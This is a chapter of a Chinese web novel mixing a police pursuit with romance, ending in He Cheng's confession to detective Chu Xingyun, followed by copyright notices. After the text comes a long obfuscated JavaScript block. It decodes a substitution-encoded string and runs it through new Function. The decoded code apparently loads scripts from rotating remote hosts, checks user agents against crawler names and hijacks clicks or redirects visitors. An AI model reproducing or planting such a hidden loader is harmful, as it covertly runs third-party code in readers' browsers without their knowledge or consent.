捕蝶网【35】(2 / 2)

死无罪证 斑衣白骨 0 字 2021-05-05

“和平大道一号公馆,很安全,吴耀文有线索吗?”

傅亦叹了口气:“没有。”

楚行云思索片刻,忽然眉头一展,眼中乍泄精光,似笑非笑道:“这个人真聪明,他给我发短信并不是信任我,而是想利用我引开郑西河,他把我引到外滩,郑西河自然会追着我,引开两路追兵,他想去哪儿都可以。”

傅亦经他一点才突破这层瓶颈,不禁气恼道:“我现在就排查每条出城的线路。”

“嗯,我马上过去。”

他把电话挂断,正欲拨给乔师师,忽闻老保姆惊呼道:“二少爷身上这样怎么弄的呀!”

楚行云当即把电话一撩,抛开公务回到贺丞身边,见他坐在沙发上煞白着脸紧紧咬着牙试图脱掉衬衫,或许是衬衫被血痂糊住黏在了皮肉里,脱起来格外受罪。

“我帮你。”

楚行云跪蹲在地板上刚想伸手,就见他忽然用力把背后和血肉糊在一起的衣料整面扯了下来,然后用力掼在地板上,白木地板瞬间被染出一滩血红。

楚行云愣了一下,贺丞摔东西的动作太明显,而且还是当着他的面摔给他看,他不知道贺丞是怎么了,为今晚的涉险而气愤吗?

好在贺丞很快变相解答了他的疑问,贺丞弯下腰双臂撑在膝盖上,冷飕飕的眼睛盯着地板沉声道:“今天晚上,你哪儿都不能去。”

楚行云忽然想起来了,方才和郑西河对峙时,他提过一句郑西河的‘主子’,也就是说他知道郑西河背靠着那一方势力,现在不让他走出一号馆这座‘紫禁城’,应该是怕以郑西河为枪口的势力围剿他,但是今天晚上对他来说很重要,是能否把吴耀文追捕归案的重要时刻,他不可能为了保命就稳坐家中,他是士兵,习惯了冲锋陷阵,而且肩上的警徽和责任也让他无法度身世外,其实郑西河说的没错,刑侦是一个灰色地带,刑警更是游走周旋于灰色地带的棋子,但是他却非要辨别是非黑白,这个世界上哪有那么多的是非黑白,他奔波劳苦,一次次把自己的性命赌在自己内心对善良与正义的信仰之上,现实交给他太多评判是非黑白的标准,所以他把自己沿途走来所学到的一切弃之不用,为了不使自己感到迷茫惶惑,他才把自己渴望的善良与正义当做信仰,除此之外,他当真不明白自己为何而战。【注】

他的忠诚建立在他的信仰之上,为了他的信仰他能够骁勇善战,满怀激情,但是他很清楚他迄今为止所作的一切,归根到底,都是为了他自己,他为了使自己的内心保持自由和平静,哪怕他最后无法取得胜利,或将付出高昂的,惨烈的代价,但是他的心始终是自由,且平静的,他能够在辽阔无边的海面上迎着清风蓝天,自由自在的航行。

他接过保姆端来的毛巾和净水,把毛巾在热水里湿过又拧干净了,坐在贺丞身边帮他擦后背的脓血,平静道:“如果我出去呢?你会拦我吗?”

贺丞低着头,不说话。

贺丞不会阻拦他,相反,他还会义无反顾的站在楚行云身边,他虽然没有楚行云的责任和信仰,但是他有守护楚行云的决心和勇气。

很快,肖树带着医生和保镖赶到了,随之而来的还有杨开泰和赵峰。

贺丞到楼上书房动了一个小小的手术,医生把他旧伤发炎化脓的部分皮肉切掉,然后重新包扎,因为贺丞要求自己一定要保持清醒,所以手术过程中没有使用麻药,楚行云在楼下观望楼上书房的动静,预料之中的没有听到贺丞一丝一毫的声音漏出来,他总是这样,从不暴露自己的柔软。

越是受伤,越是坚强。

夏星瀚被郑西河一拳抡碎了半口牙,又被枪托敲在后颈引发昏迷休克,在医生的救助下已经逐渐有苏醒的迹象。

他试着问了几句话,但是夏星瀚意识还未完全苏醒,十句里面答的那一句也是驴头不对马嘴。

楚行云忽然觉得很累,原本还想趁热打铁审讯他,此刻什么心情都没有了,对杨开泰摆摆手,说:“带走。”

夏星瀚被抬上车,楚行云走出房门站在春意烂漫的庭院里,一经阔别七八年,今天回到故里,当然是要好好看一看——

“队长。”

杨开泰坐在车里问他:“你走吗?”

当然得走,他还有很多事要做,比如追铺吴耀文,比如搜查郑西河,比如......

忽然,他回头看向二楼一间卧室的窗口,那间卧室不知何时已经亮起了灯光,灯光把窗口点亮,仿佛从未黯灭过。

“刘蒙跟我留在这里,你们保护好夏星瀚。”

他返身走进屋子,看到老保姆正在擦洗被夏星瀚弄脏的地板,可怜老人家一辈子没见过这么多血,至今尚在发抖。

楚行云站在客厅活动有些酸痛的筋骨,笑道:“江妈,别管了,明天我收拾。”

江妈摆了摆手,嘴里念叨:“我不知道你们在外面做了什么危险的事,回到家就歇歇吧。”

楚行云笑了笑,抬脚登上楼梯往楼上去了。

“想吃点什么啊?”

江妈在背后问。

“随便。”

二楼正对着楼下客厅的卧室就是贺丞的,楚行云站在门口迟疑了一会儿,然后推开隔壁的一间房门。

这间他以前住的卧室此刻已经只剩下家具了,离开这里去外省上大学的前一天他特意把房间里自己的东西清空,该扔的都扔了,该带走的都带走了,所以此刻这间房里只剩下一些线条质朴优雅的家具,几乎什么都没有。

本来以为再也不会回来,没想到今天却又回来了。

他站在门口发愣,连有人敲门都没听到,最后还是江妈出声叫他,才连忙把门打开。

“你都这么多年没回来了,这是二少爷留下的一些衣服,洗个澡换上吧,闻闻你身上的味儿。”

楚行云把一套简单的家居服接过去,迟了片刻才问:“贺丞的衣服?”

“是啊。”

“贺丞不是也早就搬出去了吗?”

江妈道:“二少爷时不时就会回来住一天,也不干什么,要么待在自己的房间,要么就待在你房间,待一天就走了,每回走的时候都交代我记得把你的房间打扫干净,他经常回来住,我就帮他准备了一些方便换洗的衣服,他可比你还高些,你试试合不合身。”

楚行云愣了一会儿,然后不知想到了什么,脸上一片赤红,随口搪塞着把江妈哄走,然后关上房门,低头看着手里这套散发着洗衣液清香的家居服,忽然觉得浑身虚脱无力,连捧着这套衣服都觉得乏力。

索性蹲下身子,捂着脑袋半天没动静,大约过了半个多小时才从地上站起来,掂着因长时间蜷缩而发胀的脚踝,一瘸一拐的进了浴室。

十几分钟后,他洗了澡换好衣服从房间里走出来,又来到隔壁卧室门前,这次很是果决的敲了敲房门。

没人应他,他又敲,贺丞的声音才传出来:“干什么?”

“没睡吧,跟你聊聊。”

门很快开了,贺丞穿着黑色真丝睡袍站在门口,头发应该是刚洗过,还没吹干,湿淋淋的还在往下滴着水珠,或许是因为受伤放了血,遭了一场罪,此时他的脸色白的没有几分血色,只比手术前缓和一点,眼神懈怠无力,看起来非常的慵懒乏累。

好在他不知从哪儿摸出了一副无框眼镜戴上了,才把他浑身让直男瞎眼的妖孽病妆美男的气场压下去一些,要不然‘世界大同’就不仅仅是意淫和口号那么简单了。

贺丞不知自己再次使某直男心念一动,险些被闪瞎眼,兀自拉紧了腰上的浴袍带潦草的系上一个活结,往旁边移开一步,给他放行。

贺丞的房间还保留着十几年前的装修,没有很具现代化的设计,和他的房间一样,布置的简装优雅,色泽质洁明朗,楚行云一走进去就感到似曾相识的熟悉感,这里的桌椅床柜貌似都是他当年从贺丞房间搬到隔壁保留的那样,这么多年,竟然没改变过。

“你不出门了吗?”

贺丞打开房内的吊灯,坐在窗前的一张单人沙发上,朝对面扬了扬下巴示意他坐下。

楚行云环视室内一周,没有坐到他指定的位置,而是径直走到内室铺着银灰色被褥的床前在床尾坐下,和贺丞遥遥对答:“不去了,我现在没名没分的,出去也帮不上什么忙。”

贺丞没有跟过来,而是坐在外间单人沙发上,保持着楚行云在他们之间拉开的距离,沉默了片刻,又问:“你想跟我说什么?”

“说说在海洋馆,你说的那些话。”

他留神看着贺丞的脸,但是距离有点远,只看到贺丞低垂着的眼睫微微一颤,然后抬起眸子目光懒倦又柔软的迎上他的眼睛,淡淡道:“你先说还是我先说。”

楚行云觉得贺丞的态度太平淡了,相比之下他自己踏入这间卧室的纠结和挣扎就显得多余且可笑,他几乎以为贺丞跟他开了一场玩笑,但是贺丞不会跟他开玩笑,更不会开这种玩笑,他是认真的。

幸好,楚行云足够了解他,很快察觉到贺丞的态度并不是平淡,而是消极,类似于被法官一锤定音判罪的犯人,无力申辩进言,倾颓而无力,只能接受噩耗来临。

或者说,贺丞已经预感到这场会话的结果注定是判处一个人的终身流放。

“你先说。”

然后,他看到贺丞提起唇角极轻的笑了一下,胳膊支在沙发扶手上撑着额角,懒倦的笑道:“我还以为你会当做没发生过,或者尽可能的拖延时间,直到被我点破,才会跟我聊几句。”

他说的没错,楚行云本来是这么打算的,但是他还是小瞧了贺丞能够对他施加的影响,既然这场会晤迟早要来,那就不如速战速决,这样对彼此双方都仁慈。

楚行云意味不明的潦草点头,问道;“还有吗?”

贺丞好像很累,牵动的唇角很快归于平静,脸上静的一丝表情都没了:“你还想听什么?”

楚行云先是埋头沉默了一会儿,然后说:“肖树对我说过,你一直在看心理医生。”

贺丞大方的承认:“是。”

“所以,你确定吗?”

贺丞眼神一散,露出些许迷茫:“确定什么?”

楚行云揪紧了床铺上光滑的被单,埋着头避开他的眼睛:“确定你对我的感情不是过度依赖,或者是因为当年我——”

“或者是因为当年你抛下我,我一直对你怀恨在心吗?”

贺丞的瞳孔完全散了,似乎陷入了某一场回忆当中,好像在说梦话。

很快,他的梦醒了,随之苏醒的还有他的羞臊和愤怒,他看着楚行云,眼眶迅速涌出一层血红的热度,声音颤抖,说:“你别作践我,楚行云。”

楚行云浑身一颤,像被丢进极寒的冰天雪地之中,全身上下,从里到外,都僵住了。

他不敢抬头,即使没有抬头,他也听的出来,贺丞在流泪,贺丞哭了,在他的记忆里贺丞从小就坚强,几乎从没哭过,因为体弱而被同龄人欺负取笑,被他爹用冷酷的手段训练体魄,被隔绝在家无法正常上学交朋友,他都没有哭过,即使是那次毁灭性的绑架,贺丞目睹他和贺瀛出逃也没有哭,只是眼泪兜在眼眶,没有流出来,反而是被救出来后,他听到贺丞哭了一整夜。

其次,就是现在了。

楚行云在内疚,在羞愧,沉重的负罪感压的他几乎喘不过气。

“我喜欢你,你觉得很荒唐吗?那你觉得我应该对你抱有什么样的感情才不荒唐?还是你觉得我说出口的没有一句真话,统统不值得信赖?那我今天清清楚楚的告诉你,楚行云,我对你的感情,不是依赖,也不是记恨,我很清楚我喜欢你,从很多年以前,我就喜欢你,久到我都记不得时间了,很荒唐吗?更荒唐的在后面,你还记得当年我第一次见到你,你和苏老师在楼下,我在楼上弹琴,然后我问你,你是不是来陪我的?你说是,可能就是从那个时候我就把你牢牢揣在心里了,当时我真的认为我和你,我们能在这栋房子里生活一辈子,我从来没有想象过你离开我以后,我会过什么样的生活,你知道我九岁那年干了一件什么傻事吗楚行云?我问苏老师我们能不能结婚,我能不能娶你进门,这样你就能永远留下——苏老师说如果你同意就可以,但是我没有问你,因为我知道我当时年纪小,你不会当真,我就一直等,结果等我长大了,你却走了......你走了,楚行云,我真的以为你永远,再也不会回来。你走了以后这栋房子我不敢再住,所以我也走了,但是我没走远,我还守在这座城市,守着这栋房子,等你回来。我都想好了,如果你一直不回来,我就搬回来住,把所有人都赶出去,把门封起来,只剩我一个人,百年以后我在院子里挖两座坟,他们要紧紧挨着,一个碑上写你的名字,一个碑上写我的名字——老天对我很好,你真的回来了,但是你回来以后并没有回到这里看一眼,你似乎把这里忘了,也把我忘了,不过没关系啊,只要我没把你忘了,你就是活的,我也是活的,直到我死的那天,你才能从我心里解脱,但是现在我比你先解脱,我把对你的感情向你坦白,既然所有人都在逼我,那我还不如主动向你坦白,起码不那么狼狈,但是现在——”

贺丞的声音平和,温柔,丝毫听不出怒气,但是他的脸上淌满滚烫的泪水,直到喉咙被扎进千万根针一样刺痛的说不出话,才垂下眼睛缓了一口气,再度抬起眼睛看向楚行云,问:“你在惩罚我吗?惩罚我对你荒唐的感情,荒唐的想法,你在惩罚我吗?”

楚行云也在反问自己,在惩罚他吗?当然不是,那么为什么要这么快的提及这个话题,这么想要速战速决,你心里有答案吗?有结果吗?

刚才貌似是有,但是现在,他心里没有答案,更没有结果。因为他体会的到贺丞真情实意的悲伤,所以不忍再伤他。

贺丞从沙发上站起来,慢慢向他走近几步,停在床尾正对面,被水雾覆盖,异常深阔明亮的眼睛看着他,忽然牵动唇角轻轻的叫了声:“哥。”

楚行云呼吸一停,所有词汇又不足形容他的惊愕,他低着头睁大眼睛盯着地板傻住了,连吐纳呼吸都忘记了,心跳的频率异常鼓噪喧狂,浑身都在战栗。

贺丞取下染上一层雾气的眼镜,垂着眸子微微笑了笑:“你想让我叫你哥,想让我把你当成哥是吗?我可以做到,只要你开口说了,我不会拒绝你,前提是你已经拒绝了我对吗?”

楚行云想装作听不懂他的话,但是贺丞貌似能看透他的思想,淡淡道:“你知道我在说什么,只要你说你拒绝我了,我就像以前一样,叫你哥。”

他本以为贺丞会摆出条件,一方是接纳,一方是老死不相往来,万万没有想到贺丞会给他一个退而求其次的选择,是在暗示他什么吗?暗示他们之间可以回到过去?

有一瞬间,楚行云很激动,绝处逢生般的激动,但是很快他绝望的发现,贺丞并不是在暗示他们之间可以回到过去,而是他可以做出一副假象配合他回到过去,什么时候,贺丞竟学会委屈求全了?

贺丞再次的解答他堵在心口的疑问,有些无力笑道:“或许我说‘如果你不接受,那我们就断绝联系,再也不要见面’,会比较潇洒有面子,但是我不能跟你断了联系,不能再也不见你,我不能——失去你,那就换个方式相守吧,从今天开始,我叫你哥,就像以前一样,并且再也不会提今天的事,那些话我也不会再说,这样可以吗?你能接受吗?哥。”

现在贺丞每叫他一声哥,就像拿着一把刀往他心脏里捅,把他的心捅的血肉模糊,支离破碎。

他弯下腰托着沉重的额头,迟缓的摇了摇头。

贺丞脸上又浮现出梦魇般的迷茫和恍惚,痴呓道:“不能?不能是什么意思?还是你想和我断绝联系?你说话行吗?我猜不到,你说吧,只要你不走,什么条件我都可以接受。”

楚行云终于发出一点声音,像被刀架在脖子上艰难道:“你放心,我再也不走了。”

贺丞由衷松了一口气,唇角溢出一丝笑,又问:“你的条件是什么?”

“条件?”

“是的,条件,如果我刚才提出来的方案你觉得不可行,那你来说,我全都答应。”

楚行云听出来了,这是贺丞能做的最大的让步,也是最坏的打算,他就像一场谈判中全盘皆输的一方,自己判处自己终身流放,那是什么原因导致贺丞对待自己如此残忍?

这是一道很容易解的题,贺丞心里清楚,他心里同样也清楚——贺丞有多在乎他,就能对自己多残忍。

此刻贺丞做出的让步无疑是在告诉楚行云,他已经对自己残忍到了极点。

“无论我提什么要求,你都答应吗?”

楚行云问。

贺丞的舌头已经麻木了,除了点头说‘是’,别的话一个字都说不出来,于是他说:“是。”

楚行云慢慢的站起来,身体关节生了锈般缓慢而迟钝走到贺丞面前,仰起头看着他,说:“我的条件是,如果你有一天不喜欢我了,一定要告诉我。”

贺丞目光松散且柔软的看着他,好像在他眼中过了一场轮回般那么长,唇角露出一丝无奈的苦笑,道:“应该,没有那一天了。”

“你确定吗?”

“确定。”

不知为何,楚行云忽然有落泪的冲动,或许是被贺丞身后刺目的吊灯刺的眼睛酸涩疼痛,他低下头闭上眼睛,默默吐出一口气,调整好呼吸和心率,抬头看着他的眼睛,一字一句清晰有力道:“在那一天到来之前,我们在一起吧。”

贺丞瞳孔微微一振,随后露出更加深度的迷茫不解:“什,什么意思?”

“你不是想和我在这栋房子里过一辈子吗?正好我也没地方可去,就像当年这栋房子收留我一样,如果你愿意收留我,我为什么要拒绝?难得有一个人不会离开我,背弃我,愿意陪着我,守着我,无论我做什么事都信任我,帮助我,这样一个人,我没有理由要拒绝。”

说着,楚行云笑了笑:“你刚才还说,想娶我进门儿是吗?我是男人,不用你高头大马八抬大轿来接,只要你把门打开,我向你走来了。不过,在院子里挖两座坟这件事还是不要再想了,我还是比较喜欢——”

忽然,他胸口一痛,被一双手臂箍进怀里牢牢抱住,闻到贺丞身上清淡的沐浴液香味,和已经渗进他的皮肤里,洗不掉的冷檀香。

楚行云把下巴垫在他的颈窝里,抬起双手搂住他的肩膀,闭上了眼睛,唇角嗜着一丝微弱的笑意。

“啊!”

贺丞在他耳边咬着牙发出一声低吼,用力好像要咬碎牙齿,震破胸腔,撕碎喉咙,那是竭尽全力才能压抑克制住的癫狂的喜悦。

他听到贺丞翻滚在胸腔里沉甸甸的笑声,但是脖子却被他的炽热的泪水染湿。

——————————————————————

独家发表于晋江,请勿转载支持正版。

独家发表于晋江,请勿转载支持正版。

独家发表于晋江,请勿转载支持正版。

※※※※※※※※※※※※※※※※※※※※

标【注】的地方,引用了百年孤独。

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();